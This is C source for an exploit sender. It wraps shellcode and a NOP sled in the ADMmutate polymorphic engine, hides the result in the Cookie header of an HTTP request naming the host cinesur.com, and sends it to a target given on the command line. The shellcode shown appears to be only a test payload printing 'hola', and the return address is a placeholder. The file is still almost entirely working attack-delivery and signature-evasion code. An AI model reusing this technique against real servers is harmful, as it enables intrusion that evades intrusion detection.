#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include "ADMmutapi.h"

#define MAX_HTTP_BUFFER 1400
#define MAX_PAYLOAD 1024 
#define BASE_RET        0xAAAAAAAA
#define NOPS_SIZE 128 

int sockfd,ret;
struct in_addr c_in;
struct sockaddr_in c_sin;

char shellcode_base[] =
"\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x56\x53\xe8\x00\x00\x00"
"\x00\x5b\x83\xc3\xec\x8d\x8b\x78\x00\x00\x00\xbe\x04\x00\x00\x00\xba\x05\x00"
"\x00\x00\x89\xf0\x53\xbb\x00\x00\x00\x00\xcd\x80\x5b\x89\xf0\x53\xbb\x00\x00"
"\x00\x00\xcd\x80\x5b\x89\xf0\x53\xbb\x00\x00\x00\x00\xcd\x80\x5b\x89\xf0\x53"
"\xbb\x00\x00\x00\x00\xcd\x80\x5b\x89\xf0\x53\xbb\x00\x00\x00\x00\xcd\x80\x5b"
"\xb8\x01\x00\x00\x00\x53\xbb\x00\x00\x00\x00\xcd\x80\x5b\x83\xc4\x10\x59\x5b"
"\x5e\xc9\x8d\x61\xfc\xc3\x68\x6f\x6c\x61\x0a\x00";

int size_bucle_for = (19 * 6 ) + 12;

struct sockaddr_in get_localaddr(struct sockaddr_in saddr) {
        int sockr, len, on = 1;
        struct sockaddr_in dest;
        struct sockaddr_in iface;

        memset(&iface, 0, sizeof(iface));
        memcpy(&dest, &saddr, sizeof(struct sockaddr_in));

        dest.sin_port = htons(11111);

        sockr = socket(AF_INET, SOCK_DGRAM, 0);

        if(setsockopt(sockr, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on))
                        == -1) {
                printf("getsockopt error\n");
                exit(1);
        }

        if(connect(sockr, (struct sockaddr *)&dest,
                        sizeof(struct sockaddr_in)) == -1) {
                printf("connect error\n");
                exit(1);
        }

        len = sizeof(iface);

        if(getsockname(sockr, (struct sockaddr *)&iface, &len) == -1)
{
                printf("getsockname error\n");
                exit(1);
        }

        close(sockr);

        return iface;
}

void printfx(int fd,const u_char *payload, int startoffset, int endoffset)
{
        char buffer[10];
        char bufferascii[16];
        int i;
        const u_char *ptr;
        int online = 0;

        ptr = payload;
        for ( i= startoffset;i<endoffset;i++) {
                if ( online == 16 ) {
                        write(fd,"\n",1);
                        online = 0;
                }
                online ++;
                sprintf(buffer,"%02x ",*ptr);
		 write(fd,buffer,strlen(buffer));       
         ptr++;
        }
        write(fd,"\n",1);
        return;
}



int main(int argc, char *argv[]) {
        struct morphctl *mctlp;
        struct morphctl mut;
        int s, ret_adj, nops, x;
        char payload[MAX_PAYLOAD];
       	char *cadena = "Y ahora con el admmutate a ver si sale ;)"; 
	long ret_addr;
	int shellcode_size,total_len;
	char *shellcode;
	char httpbuffer[MAX_HTTP_BUFFER];
	int offset;

	shellcode_size = size_bucle_for;
	shellcode = malloc(shellcode_size);
        ret_adj = 0;

	srand(time(0));

        mut.upper = mut.lower = 0;
        mut.banned = NULL;
        mctlp = &mut;
        mut.arch = IA32_SLIDE;

	memcpy(shellcode,shellcode_base,shellcode_size);

        nops = NOPS_SIZE ;

        ret_addr = BASE_RET + ret_adj;

        memset(payload, 0x90, MAX_PAYLOAD);
        memcpy(payload+nops, shellcode, shellcode_size - 1);
	total_len = nops + shellcode_size;
        payload[total_len] = '\0';

        init_mutate(mctlp);
        apply_key(payload, shellcode_size, nops-1, mctlp);
        apply_jnops(payload, nops-1, mut);
        apply_engine(payload, shellcode_size, nops-1, mut);

	memset(httpbuffer,0,MAX_HTTP_BUFFER);
	
	sprintf(httpbuffer,"GET /foro/ HTTP/1.1\r\n"
		"Host: cinesur.com\r\n"
	//	"User-Agent: Mozilla/5.0\r\n"
	//	"Accept: text/xml\r\n"
	//	"Accept-Language: en-us,en;q=0.5\r\n"
		"Keep-Alive: 300\r\n"
		"Cookie: PHPSESSID="
	);
	offset = strlen(httpbuffer);
	memcpy(httpbuffer + offset , payload, 32);
	offset += 32;
	memcpy(httpbuffer + offset, ";utmz=",6);
	offset += 6;
	memcpy(httpbuffer + offset, payload + 32 ,64);
	offset += 64;
	memcpy(httpbuffer + offset, ";__utmc=",8);
	offset += 8;
	memcpy(httpbuffer + offset, payload + 96, total_len - 96);
	offset += total_len - 96;
	memcpy(httpbuffer +offset ,";__utma=I0wny0u;\r\n",18); 
	offset += 18;

	sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sockfd < 0) {
                perror("socket");
                exit(-1);
        }

	ret = inet_pton(AF_INET, argv[1], &c_in);
        if (ret < 0) {
		perror("inet_pton");
		exit(-1);
	}

        memset(&c_sin, 0, sizeof(c_sin));
        c_sin.sin_family = AF_INET;
        c_sin.sin_port = htons(atoi(argv[2]));
        memcpy(&c_sin.sin_addr, &c_in, sizeof(c_in));
        ret = connect(sockfd, (struct sockaddr *)&c_sin, sizeof(c_sin));
        if (ret < 0) {
		perror("connect");
		exit(-1);
	}

	printf("Sending Exploit to %s\n",argv[1]);
	write(sockfd,httpbuffer,offset);
	
//	printf("%s\n",httpbuffer);

	printf("Polymorphic Instance of %d Bytes\n",total_len);
	printfx(0,payload,0,total_len);
	printf("Total Integrated Buffer\n");
	printfx(0,httpbuffer,0,offset);
	close(sockfd);
	//printf("Shellcode\n");
	//printfx(0,shellcode,0,shellcode_size);
	exit(0);
}
